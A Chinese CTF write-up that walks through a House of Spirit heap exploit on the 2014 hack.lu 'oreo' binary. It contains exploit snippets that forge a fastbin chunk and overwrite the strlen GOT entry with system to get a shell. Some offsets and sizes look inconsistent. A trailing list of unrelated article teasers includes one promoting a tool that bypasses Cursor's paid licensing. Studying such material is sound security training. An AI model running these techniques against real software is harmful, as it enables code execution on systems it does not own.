当前位置: 首页 > article >正文

从2014 hack.lu oreo靶场实战,手把手教你绕过House Of Spirit的5个关键检查点

从2014 hack.lu oreo靶场实战手把手教你绕过House Of Spirit的5个关键检查点在二进制安全领域House Of SpiritHOS是一种经典的堆利用技术它通过伪造堆块并诱使内存管理器将其释放从而实现对程序控制流的劫持。然而真正掌握这项技术需要跨越多个关键检查点的障碍。本文将以2014年hack.lu CTF中的oreo题目为例带你一步步拆解HOS攻击链中的每个环节。1. 靶场环境与初步分析首先我们需要搭建一个与当年比赛一致的环境。oreo是一个32位的ELF程序运行在Ubuntu 14.04系统上。使用以下命令获取并运行题目wget https://ctf.hack.lu/2014/oreo chmod x oreo checksec --fileoreo程序的基本保护情况如下保护机制状态NX启用ASLR启用Stack Canary未启用RELROPartial通过逆向分析我们发现程序主要功能包括添加枪支信息malloc显示枪支列表读取订单处理free退出程序关键漏洞出现在订单处理函数中存在Use-After-FreeUAF问题。当用户下单后程序会释放对应的枪支结构体但未将指针置空导致后续仍可操作已释放的内存。2. 漏洞挖掘与利用规划oreo程序中的枪支结构体定义如下struct gun { char name[16]; char description[32]; int price; };通过动态调试我们发现以下关键点添加枪支时name字段存在16字节的堆溢出订单处理后的UAF允许我们修改已释放的chunk全局变量存储了枪支列表指针可用于伪造chunk利用思路分为三个阶段阶段一通过堆溢出修改相邻chunk的size字段阶段二利用UAF构造伪造的fastbin chunk阶段三触发House Of Spirit实现GOT覆写3. 绕过House Of Spirit的5个关键检查要使HOS攻击成功必须满足glibc malloc的5个关键检查条件。下面我们逐一分析如何绕过这些检查。3.1 检查点一size字段对齐验证伪造的chunk size必须满足对齐要求32位系统为8字节对齐。在oreo中我们选择构造一个0x40大小的fastbin chunkfake_size 0x41 # 包含PREV_INUSE标志位注意size字段的最低三位用作标志位实际大小需要按8字节对齐计算。3.2 检查点二next chunk的size验证伪造chunk的下一个chunk通过当前size计算得出必须位于可写内存区域且其size字段也要满足基本要求。我们选择将伪造chunk放在全局变量区域fake_chunk elf.sym[guns] - 0x8 # 调整到合适的偏移 next_chunk fake_chunk 0x40通过调试器验证next_chunk地址是否可写gdb-peda$ vmmap 0x0804a000 0x0804b000 rw-p /home/user/oreo3.3 检查点三fastbin链表一致性检查当释放一个chunk到fastbin时malloc会检查该chunk是否与fastbin中原有的chunk大小相同。我们需要确保提前释放一个真实的大小为0x40的chunk伪造chunk的size字段也设置为0x40操作步骤# 先分配并释放一个真实chunk add_gun(real, desc, 100) order(0) # 释放到fastbin # 然后伪造相同大小的chunk forge_fake_chunk(fake_chunk, fake_size)3.4 检查点四double free检测虽然HOS不直接涉及double free但类似的机制会检查新释放的chunk是否与fastbin中的第一个chunk相同。我们通过以下方式绕过确保伪造chunk的地址与已释放chunk不同在释放伪造chunk前先分配掉fastbin中的原有chunkadd_gun(dummy, desc, 200) # 取出fastbin中的chunk order_fake(fake_chunk) # 现在可以安全释放伪造chunk3.5 检查点五内存可写性验证伪造的chunk必须位于可写内存区域。在oreo中我们选择程序的.data段readelf -S oreo | grep .data [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [16] .data PROGBITS 0804a040 001040 000024 00 WA 0 0 32通过调试器验证伪造chunk地址是否在.data段范围内gdb-peda$ p/x 0x0804a040 fake_chunk 0x0804a0400x244. 完整攻击链构造现在我们将所有环节串联起来构建完整的攻击流程。4.1 堆布局与内存准备首先需要精心布置堆内存状态# 填充fastbin for i in range(4): add_gun(ffiller{i}, desc, 100) order(i) # 创建目标chunk add_gun(target, A*16 p32(0x41), 200) # 通过溢出修改下一个chunk的size4.2 伪造chunk结构利用全局变量guns数组伪造fastbin chunk# 计算伪造chunk的位置 fake_chunk elf.sym[guns] - 0x8 # 构造伪造的chunk数据 payload p32(0) p32(0x41) # prev_size和size payload p32(elf.got[strlen]) # 将fd指针指向GOT表项 write_to_global(payload)4.3 触发House Of Spirit通过订单功能释放伪造的chunk# 先取出fastbin中的真实chunk add_gun(dummy, desc, 300) # 现在释放伪造chunk order_fake(fake_chunk)4.4 实现GOT覆写当程序再次分配0x40大小的chunk时会从fastbin中取出我们伪造的chunk# 分配chunk会得到伪造的chunk add_gun(payload, p32(elf.sym[system]), 400) # 触发strlen调用现在实际调用system add_gun(/bin/sh, desc, 500) # 参数将被传递给strlen5. 实战调试技巧与问题排查在实际操作中可能会遇到各种问题。以下是几个关键调试技巧查看fastbin状态gdb-peda$ heap bins fast Fastbins[idx3, size0x40] → FakeChunk(fastbin) → Chunk(addr0x804a028, size0x40)验证chunk metadatagdb-peda$ x/4wx 0x804a020 0x804a020: 0x00000000 0x00000041 0x0804a028 0x00000000常见问题解决如果遇到malloc(): memory corruption错误检查size字段是否满足对齐要求如果程序崩溃在free调用验证伪造chunk的next chunk是否合法使用malloc_printerr断点捕捉堆相关错误gdb-peda$ b __malloc_printerr

相关文章:

从2014 hack.lu oreo靶场实战,手把手教你绕过House Of Spirit的5个关键检查点

从2014 hack.lu oreo靶场实战,手把手教你绕过House Of Spirit的5个关键检查点 在二进制安全领域,House Of Spirit(HOS)是一种经典的堆利用技术,它通过伪造堆块并诱使内存管理器将其释放,从而实现对程序控制…...

光储微网孤岛检测与VSG切换控制【附程序】

✨ 长期致力于光伏-储能系统、微网、孤岛检测、并离网切换、虚拟同步电机研究工作,擅长数据搜集与处理、建模仿真、程序编写、仿真设计。 ✅ 专业定制毕设、代码 ✅ 如需沟通交流,点击《获取方式》 (1)经验小波变换与正反馈频率漂…...

Taotoken API Key安全管理最佳实践与审计日志查看

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 Taotoken API Key安全管理最佳实践与审计日志查看 对于任何接入大模型服务的开发者而言,API Key 是访问权限的核心凭证…...

ESP32接入ChatGPT API:打造智能语音交互硬件原型

1. 项目概述:当ESP32遇见ChatGPT最近在捣鼓ESP32,想给它加点“脑子”。ESP32本身是个很棒的物联网微控制器,Wi-Fi、蓝牙、低功耗,该有的都有,但它本质上还是个执行预设逻辑的设备。我就琢磨,能不能让它接入…...

如何用Pulover‘s Macro Creator实现Windows自动化:5大实用技巧

如何用Pulovers Macro Creator实现Windows自动化:5大实用技巧 【免费下载链接】PuloversMacroCreator Automation Utility - Recorder & Script Generator 项目地址: https://gitcode.com/gh_mirrors/pu/PuloversMacroCreator Pulovers Macro Creator是一…...

Bun 六天完成从 Zig 到 Rust 重写,AI 重写软件大趋势下速度与质量难题待解

Zig 版 Bun 被判“死刑”2026 年 5 月 11 日,Bun 创始人 Jarred Sumner 在 X 上发推文称,“Bun v1.3.14 将于明日发布。如果我们合并 Rust 重写版本,这将是 Zig 的最后一个版本”,宣告了 Zig 版 Bun 的终结。四年前,Bu…...

3个颠覆性功能:Topit如何重新定义macOS窗口层级管理

3个颠覆性功能:Topit如何重新定义macOS窗口层级管理 【免费下载链接】Topit Pin any window to the top of your screen / 在Mac上将你的任何窗口强制置顶 项目地址: https://gitcode.com/gh_mirrors/to/Topit 你是否曾在编写代码时,需要同时查看…...

TuxGuitar:吉他爱好者的开源乐谱编辑与播放解决方案

TuxGuitar:吉他爱好者的开源乐谱编辑与播放解决方案 【免费下载链接】tuxguitar Open source guitar tablature editor 项目地址: https://gitcode.com/gh_mirrors/tu/tuxguitar 你是否曾经因为找不到合适的吉他谱编辑软件而烦恼?或者想要创作自己…...

树莓派物联网实战:避开TCP连接OneNet的3个常见坑(鉴权、脚本、心跳)

树莓派物联网实战:避开TCP连接OneNet的3个常见坑(鉴权、脚本、心跳) 在物联网项目开发中,树莓派作为边缘计算设备与云平台对接是常见需求。OneNet作为国内主流物联网平台,其TCP透传协议因其简单高效备受开发者青睐。然…...

逆向分析小实验:不写一行代码,用OD破解植物大战僵尸的阳光自动收集

逆向分析小实验:不写一行代码,用OD破解植物大战僵尸的阳光自动收集 阳光洒满草坪,向日葵轻轻摇曳——这是《植物大战僵尸》中最令人安心的画面之一。但你是否想过,那些需要手动点击的阳光背后,隐藏着怎样的游戏逻辑&am…...

AI智能体持久记忆系统:基于MCP协议与Cloudflare Workers的架构实践

1. 项目概述:一个为AI智能体赋予持久记忆的文明如果你和我一样,每天都在和Claude Code、Cursor这类AI编程助手打交道,那你一定对那个永恒的痛点深有体会:每次开启一个新会话,它都像一张白纸。你花了半小时,…...

书匠策AI:2026年写毕业论文的“开挂说明书“——一个教育博主的硬核拆解

你离毕业,可能只差一个书匠策AI的距离 各位还在和毕业论文"互相折磨"的同学们,我是一个专门教人写论文的教育博主。今天不聊理论,不灌鸡汤,直接给你们安利一个我最近扒了很久的工具——书匠策AI(官网 官网直…...

别只点勾选!深入宝塔面板301重定向的Nginx配置文件,手动调试更灵活

别只点勾选!深入宝塔面板301重定向的Nginx配置文件,手动调试更灵活 当你面对需要根据URL参数动态跳转、或是处理带复杂正则匹配的重定向需求时,宝塔面板的图形化界面可能突然变得束手束脚。这时候,直接编辑Nginx配置文件就像拿到…...

书匠策AI(http://www.shujiangce.com)期刊论文功能全拆解

哈喽,我是那个专门帮你把论文写作这件事"翻译成人话"的博主。 今天不画饼,不喊口号,就干一件事——把书匠策AI( 官网直达:www.shujiangce.com微信搜一搜"书匠策AI"直达)里的期刊论文功…...

终极指南:5分钟快速免费解锁Cursor AI编程助手Pro功能完整教程

终极指南:5分钟快速免费解锁Cursor AI编程助手Pro功能完整教程 【免费下载链接】cursor-free-vip [Support 0.45](Multi Language 多语言)自动注册 Cursor Ai ,自动重置机器ID , 免费升级使用Pro 功能: Youve reached …...

对比官方价,Taotoken活动价带来的Token成本优势感知

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 对比官方价,Taotoken活动价带来的Token成本优势感知 1. 引言:从固定成本到按需消耗 对于个人开发者或小型…...

Qt实战:用QAbstractTableModel和QTableView打造一个带复选框和下拉框的工业数据表格(附完整源码)

Qt工业级数据表格开发实战:基于模型/视图架构的高级交互实现 在工业自动化软件领域,数据表格作为人机交互的核心组件,承担着参数配置、状态监控和工艺管理等多重职责。传统QTableWidget虽然简单易用,但在处理SMT贴片机这类需要管理…...

win11的自带媒体播放器-可以设置它的播放速度。在右小角的三个点里面。。。

win11的自带媒体播放器-可以设置它的播放速度。在右小角的三个点里面。。。...

RTL8762DK蓝牙广播数据包全解析:从nRF Connect截图到SIG官网查表实战

RTL8762DK蓝牙广播数据包全解析:从nRF Connect截图到SIG官网查表实战 当你用nRF Connect扫描到一个RTL8762DK设备时,那一串看似天书的十六进制广播数据(Raw Data)背后隐藏着哪些秘密?本文将带你像侦探破案一样&#x…...

别再傻傻分不清!一张图看懂PMOS、NMOS、CMOS在电路设计中的关键区别与选型

电子工程师必读:PMOS、NMOS与CMOS的实战选型指南 在电路设计的世界里,MOS管就像乐高积木中的基础模块,而PMOS、NMOS和CMOS则是三种最常用的"积木类型"。许多初学者在面对原理图上那些看似相似的符号时,常常感到困惑&…...

LTE测试工程实践:从可视化到故障排查的完整指南

1. LTE测试:从模糊概念到清晰视图的工程实践在无线通信领域,尤其是LTE(Long Term Evolution,长期演进)技术从研发到商用的全周期中,“测试”二字承载的重量远超外行想象。它绝非简单的“通断”检查&#xf…...

FDS火灾模拟实战指南:从物理原理到工程决策

FDS火灾模拟实战指南:从物理原理到工程决策 【免费下载链接】fds Fire Dynamics Simulator 项目地址: https://gitcode.com/gh_mirrors/fd/fds 当面对复杂建筑空间的火灾安全设计时,你是否曾困惑于如何选择合适的模拟工具?如何验证消防…...

完全指南:Linux系统下Realtek RTL8821CE无线网卡驱动深度解析与实战配置

完全指南:Linux系统下Realtek RTL8821CE无线网卡驱动深度解析与实战配置 【免费下载链接】rtl8821ce 项目地址: https://gitcode.com/gh_mirrors/rt/rtl8821ce 在Linux系统中,Realtek RTL8821CE无线网卡驱动的正确配置对于802.11ac标准的Wi-Fi蓝…...

模型预测控制与神经控制屏障函数的融合应用

1. 项目概述:当模型预测控制遇上神经控制屏障函数在自动驾驶和机器人控制领域,模型预测控制(MPC)因其优秀的实时优化能力而广受青睐。但从业者都知道一个"公开的秘密"——传统MPC就像个近视的导航员,只能确保…...

别再只会用Arduino了!用ESP8266+MicroPython快速搭建你的第一个物联网气象站(附完整代码)

用ESP8266MicroPython打造高性价比物联网气象站 在创客和物联网开发领域,ESP8266凭借其出色的性价比和Wi-Fi功能成为热门选择。而MicroPython则为嵌入式开发带来了Python的简洁与高效,让开发者能够用熟悉的语法快速实现创意。本文将带你从零开始&#x…...

从字典扩容到高位进位加法:图解Redis SCAN命令的底层遍历原理

从字典扩容到高位进位加法:图解Redis SCAN命令的底层遍历原理 Redis的SCAN命令是开发者工具箱中不可或缺的利器,尤其当面对海量键值对的遍历需求时。与简单粗暴的KEYS命令不同,SCAN通过精妙的高位进位加法算法和渐进式处理策略,在…...

避开这3个坑,你的夜间灯光数据(NPP/VIIRS)ANLI计算结果才准确

避开这3个坑,你的夜间灯光数据(NPP/VIIRS)ANLI计算结果才准确 深夜的城市灯光如同流动的星河,而NPP/VIIRS卫星捕捉的这些光点正成为区域经济研究的"新货币"。但当我第一次用ArcGIS计算昆明各区县的平均灯光指数&#x…...

【实战篇 / ZTNA】(7.0) ❀ 从零到一:FortiClient 7.0 企业级部署与策略配置全解析 ❀ FortiGate 防火墙

1. FortiClient 7.0 企业级部署前的关键规划 企业级部署FortiClient 7.0绝非简单的软件安装,而是涉及终端安全架构的整体升级。我在多个金融和制造业客户的实际部署中发现,前期规划不充分往往导致后期策略调整困难。首先需要明确的是,FortiCl…...

HEIF Utility终极指南:在Windows上免费打开和转换苹果HEIF照片的完整教程

HEIF Utility终极指南:在Windows上免费打开和转换苹果HEIF照片的完整教程 【免费下载链接】HEIF-Utility HEIF Utility - View/Convert Apple HEIF images on Windows. 项目地址: https://gitcode.com/gh_mirrors/he/HEIF-Utility 还在为iPhone拍摄的照片在W…...

2026年株洲老人小孩都能用专业床垫有哪些?

引言随着生活水平的提高,人们对床垫的要求也越来越高。特别是对于老人和小孩这两类特殊人群,选择一款合适的床垫尤为重要。本文将介绍几款适合老人和小孩使用的专业床垫,其中包括德国美得丽(Musterring)床垫。德国美得…...